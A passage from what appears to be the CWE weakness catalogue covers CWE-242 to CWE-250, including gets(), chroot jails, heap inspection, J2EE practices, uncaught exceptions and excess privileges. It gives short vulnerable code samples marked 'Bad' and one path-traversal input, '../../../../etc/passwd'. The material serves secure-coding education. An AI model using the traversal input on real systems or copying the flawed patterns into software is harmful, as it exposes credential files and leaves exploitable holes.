Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-1999-1156</b>	FTP server crash via PORT command with non-numeric character. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1156">https://www.cve.org/CVERecord?id=CVE-1999-1156</a>
<b>CVE-2004-0270</b>	Anti-virus product has assert error when line length is non-numeric. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0270">https://www.cve.org/CVERecord?id=CVE-2004-0270</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	2210
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

## Notes

### Research Gap

Probably under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Wrong Data Type
CERT C Secure Coding	FIO37-C	CWE More Abstract	Do not assume that fgets() or fgetws() returns a nonempty string when successful

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
48	Passing Local Filenames to Functions That Expect a URL

## CWE-242: Use of Inherently Dangerous Function

**Weakness ID** : 242

**Structure** : Simple

**Abstraction** : Base

## Description

The product calls a function that can never be guaranteed to work safely.

## Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1177	Use of Prohibited Code	1827

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2275

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (*Prevalence = Undetermined*)

**Language :** C++ (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

**Phase: Implementation**

**Phase: Requirements**

Ban the use of dangerous functions. Use their safe equivalent.

**Phase: Testing**

Use grep or static analysis tools to spot usage of dangerous functions.

### Demonstrative Examples

#### Example 1:

The code below calls gets() to read information into a buffer.

*Example Language: C*

*(Bad)*

```
char buf[BUFSIZE];  
gets(buf);
```

The gets() function in C is inherently unsafe.

#### Example 2:

The code below calls the gets() function to read in data from the command line.

*Example Language: C*

*(Bad)*

```
char buf[24];  
printf("Please enter your name and press <Enter>\n");  
gets(buf);  
...  
}
```

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		227	7PK - API Abuse	700	2105
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf		1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	POS33-C	CWE More Abstract	Do not use vfork()
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-194]Herbert Schildt. "Herb Schildt's C++ Programming Cookbook". 2008 April 8. McGraw-Hill Osborne Media.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-243: Creation of chroot Jail Without Changing Working Directory

**Weakness ID** : 243

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses the `chroot()` system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

### Extended Description

Improper use of `chroot()` may allow attackers to escape from the chroot jail. The `chroot()` function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after `chroot()` has been called.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ChildOf		669	Incorrect Resource Transfer Between Spheres	1383

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

## Weakness Ordinalities

**Resultant :**

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Operating\_System :** Unix (Prevalence = Undetermined)

## Background Details

The `chroot()` system call allows a process to change its perception of the root directory of the file system. After properly invoking `chroot()`, a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

## Demonstrative Examples

### Example 1:

Consider the following source code from a (hypothetical) FTP server:

*Example Language: C*

*(Bad)*

```
chroot("/var/ftpboot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
    fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls `chroot()` in its initialization routines in an attempt to prevent access to files outside of `/var/ftpboot`. But because the server does not change the current working directory by calling `chdir("/")`, an attacker could request the file `"../../../../etc/passwd"` and obtain a copy of the system password file.

## Affected Resources

- File or Directory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		227	7PK - API Abuse	700	2105
MemberOf		979	SFP Secondary Cluster: Failed Chroot Jail	888	2201

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Directory Restriction
Software Fault Patterns	SFP17		Failed chroot jail

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

**Weakness ID** : 244  
**Structure** : Simple  
**Abstraction** : Variant

### Description

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

### Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information in Resource Not Removed Before Reuse	536
CanPrecede		669	Incorrect Resource Transfer Between Spheres	1383

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)



**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Other	Other	
<p><i>Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.</i></p>		

### Demonstrative Examples

#### Example 1:

The following code calls realloc() on a buffer containing sensitive data:

Example Language: C

(Bad)

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for cleartext\_buffer could still contain an uncleared copy of the data.

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Heap Inspection
CERT C Secure Coding	MEM03-C		Clear sensitive information stored in reusable resources returned for reuse
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-245: J2EE Bad Practices: Direct Management of Connections

**Weakness ID** : 245

**Structure** : Simple

**Abstraction** : Variant

### Description

The J2EE application directly manages connections, instead of using the container's connection management facilities.

### Extended Description

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	695	Use of Low-Level Functionality	1425

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Demonstrative Examples

#### Example 1:

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT\_STRING.

*Example Language: Java*

*(Bad)*

```
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

Example Language:

(Good)

```
public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysql";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: getConnection()
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-246: J2EE Bad Practices: Direct Use of Sockets

**Weakness ID** : 246

**Structure** : Simple

**Abstraction** : Variant

### Description

The J2EE application directly uses sockets instead of using framework method calls.

### Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.

Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		695	Use of Low-Level Functionality	1425

## Weakness Ordinalities

**Resultant :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

**Phase: Architecture and Design**

Use framework method calls instead of using sockets directly.

## Demonstrative Examples

**Example 1:**

The following example opens a socket to connect to a remote server.

*Example Language: Java*

*(Bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: Sockets
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-248: Uncaught Exception

**Weakness ID** : 248

**Structure** : Simple

**Abstraction** : Base

### Description

An exception is thrown from a function, but it is not caught.

### Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	C	705	Incorrect Control Flow Scoping	1437
ParentOf	E	600	Uncaught Exception in Servlet	1264

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Application Data	
<p><i>An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.</i></p>		

### Demonstrative Examples

#### Example 1:

The following example attempts to resolve a hostname.

*Example Language: Java*

*(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByAddress(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

#### Example 2:

The `_alloca()` function allocates memory on the stack. If an allocation request is too large for the available stack space, `_alloca()` throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. `_alloca()` has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure `_alloca_s()`.

#### Example 3:

`EnterCriticalSection()` can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the `EnterCriticalSection()` function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Exception Handling
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions
SEI CERT Perl Coding Standard	EXP31-PL	Exact	Do not suppress or ignore exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-250: Execution with Unnecessary Privileges

**Weakness ID** : 250

**Structure** : Simple

**Abstraction** : Base

### Description

The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

### Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613
ChildOf		657	Violation of Secure Design Principles	1361

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	2223

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Execute Unauthorized Code or Commands	
Availability	Read Application Data	
Access Control	DoS: Crash, Exit, or Restart	
<p><i>An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.</i></p>		

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Compare binary / bytecode to application permission manifest Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner

*Effectiveness = SOAR Partial*

**Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

**Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

**Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker Permission Manifest Analysis

*Effectiveness = SOAR Partial*

**Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

**Potential Mitigations****Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact

with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

### Phase: Architecture and Design

*Strategy = Attack Surface Reduction*

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

### Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

### Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

### Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

### Phase: Operation

### Phase: System Configuration

*Strategy = Environment Hardening*

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

## Demonstrative Examples

### Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

*Example Language: Python*

*(Bad)*

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

**Example 2:**

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

*Example Language: C*

*(Bad)*

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

